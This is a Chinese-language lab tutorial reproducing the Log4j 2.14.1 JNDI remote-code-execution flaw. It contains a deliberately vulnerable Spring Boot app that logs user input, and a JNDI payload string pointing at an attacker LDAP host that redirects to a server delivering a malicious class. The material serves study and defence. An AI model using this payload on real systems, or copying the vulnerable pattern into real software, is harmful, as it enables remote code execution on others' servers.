log4j-2远程代码执行漏洞是因为log4j的版本中存在jndi(JAVA Naming and Directory Interface)注入漏洞,jndi注入是利用的动态类加载机制完成攻击的,当程序将用户输入的数据进行日志记录时,即可触发此漏洞 。注意是log4j-2.x的版本,本文演示使用2.14.1 。
如果在应用中使用了如log.info等一些输出用户录入的内容就可能遭到攻击者的攻击,这种将请求日志log出来的场景并不少见,比如和一些第三方系统对接的时候,在联调或试运行阶段会将请求的报文信息完整输出到日志 。
摘取一个gitee上的代码样例
文章插图
- 漏洞场景
举个例子,jianshu-Application这个服务用来提供给用户修改个人简介的,如图
文章插图
- 漏洞重现案例的几个角色
角色
应用名
说明
被攻击者
jianshu-application
这个是被攻击的服务器(使用了log4j-core-2.14.1),
假设提供了个人简介的修改功能
攻击者
marshalsec-0.0.3-SNAPSHOT
开源纯Java写的一个工具,将数据转换为代码执行
攻击者
Python/ target=_blank class=infotextkey>Python-httpserver
简单模拟一个httpserver用来给被攻击者远程加载恶意class
文章插图
大致流程如下 ①、攻击者输入恶意信息后提交,${jndi:ldap://ldap.mixfate.com:9999},当然这个ldap地址被攻击者服务器中的应用可以访问到; ②、被攻击者应用通过log.info打印恶意的输入信息后,发现日志内容中包含关键词 ${,那么这个里面包含的内容会当做变量来进行替换执行,连接到marshalsec ldap.mixfate.com:9999; ③、此时marshalsec将重定向到httpserver load.mixfate.com:8888; ④、重定向到class下载地址下载并加载Hacker.class; ⑤、执行Hacker.class中的恶意代码;
可以看到依赖重要的开源工具marshalsec,https://github.com/mbechler/marshalsec.git
免责声明(仅用于学习或测试自有系统)
Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.
2、漏洞重现步骤现在我们模拟一下这个jianshu-application这个应用被攻击,并被删除掉服务器上的/root/readme.txt文件;
机器名
说明
ip
机器A(jianshu)
被攻击者
192.168.80.136
机器B(hacker)
攻击者
192.168.80.133
两台机器均安装上jdk-1.8.0_151
java version "1.8.0_151" Java(TM) SE Runtime Environment (build 1.8.0_151-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)
- 步骤1、机器A(jianshu)上运行被攻击端jianshu应用(简化代码仅作重现参考)
简单起见直接使用 spring-boot启动一个web应用,开放一个入口模拟修改个人简介,由于spring-boot默认使用 logback 作为应用日志框架,所以为了模拟攻击过程将依赖排除掉,使用log4j-2.14.1版本记录日志 。
jianshu模拟应用配置如下(使用spring-boot-2.5.7,特别注意需要排除默认使用的日志,不然无法模拟)
pom.xml
4.0.0 org.springframework.boot spring-boot-starter-parent 2.5.7 com.mixfate jianshu 0.0.1-SNAPSHOT jianshu jianshu project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.springframework.boot spring-boot-starter-test test org.Apache.logging.log4j log4j-core 2.14.1 org.springframework.boot spring-boot-maven-plugin
JianshuAplication.java
package com.mixfate; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping @SpringBootApplication public class JianshuApplication { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { SpringApplication.run(JianshuApplication.class, args); } @PutMapping("/settings") public void settings(String intro) { logger.info("{}", intro); } }
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 关于女儿早恋怎么引导,高中女儿早恋的正确引导
- 远程监控电脑桌面是不是需要软件 什么软件可以远程监控电脑
- 对新学期的展望?关于新学期新展望该写些什么
- 怎么远程telnet 远程登录命令telnet
- 关于青春未来的演讲稿?关于青春未来的诗
- 带楚的诗句?楚辞形容女子美好的诗句
- 在月光下散步的优美句子?关于月落的诗句
- 带有桃的诗句?桃的诗词名句
- 关于口才的小故事生活中的?演讲与口才小故事
- 孝敬父母的名言10条?有关于孝敬尊重父母的名言